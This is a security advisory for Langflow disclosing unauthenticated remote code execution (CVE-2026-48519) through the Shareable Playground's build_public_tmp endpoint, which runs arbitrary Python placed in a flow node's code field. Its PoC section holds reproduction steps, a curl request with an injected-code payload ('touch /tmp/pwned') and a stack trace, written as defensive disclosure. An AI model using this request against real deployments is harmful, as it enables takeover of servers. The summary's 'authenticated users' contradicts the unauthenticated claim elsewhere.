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Unauthenticated RCE in Shareable Playgrounds

Critical
AntonioABLima published GHSA-v5ff-9q35-q26f May 27, 2026

Package

langflow

Affected versions

<=1.9.1

Patched versions

>=1.9.2

Description

Summary

The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability.
Simply sharing a flow exposes the deployment to RCE risk by authenticated users.

Tested on commit 2d67402

Details

Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link.
Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID.
When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!

The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.

PoC

Reproduction:

  1. Create a new flow and add a Chat Input node to it
  2. Share the flow ("Shareable Playground")
  3. Access the public link with the browser developers tools open and execute the flow.
  4. Find the /api/v1/build_public_tmp route and copy as cURL
  5. Edit the data.nodes[X].data.node.template.code.value JSON field with any python code and run the cURL command.

Example PoC (replace flow ID with the correct one), and download test_with_python.json:

curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
  -H 'Content-Type: application/json' \
  -b 'client_id=anything' \
  --data-raw "$(cat test_with_python.json)"

Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.

The stacktrace for the code executed is:

...
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
    ids, vertices_to_run, graph = await build_graph_and_get_order()
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
    graph = await create_graph(fresh_session, flow_id_str, flow_name)
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph
    return await build_graph_from_data(
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data
    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload
    graph.add_nodes_and_edges(vertices, edges)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
    self.initialize()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize
    self._build_graph()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph
    self._instantiate_components_in_vertices()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
    vertex.instantiate_component(self.user_id)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component
    self.custom_component, _ = initialize.loading.instantiate_class(
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class
    custom_component: CustomComponent | Component = class_object(
  File "<string>", line 59, in __init__

Impact

Unauthenticated RCE on any deployment with a shareable playground.

Ori Lahav
Security Researcher @ Rubrik Inc.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-48519

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits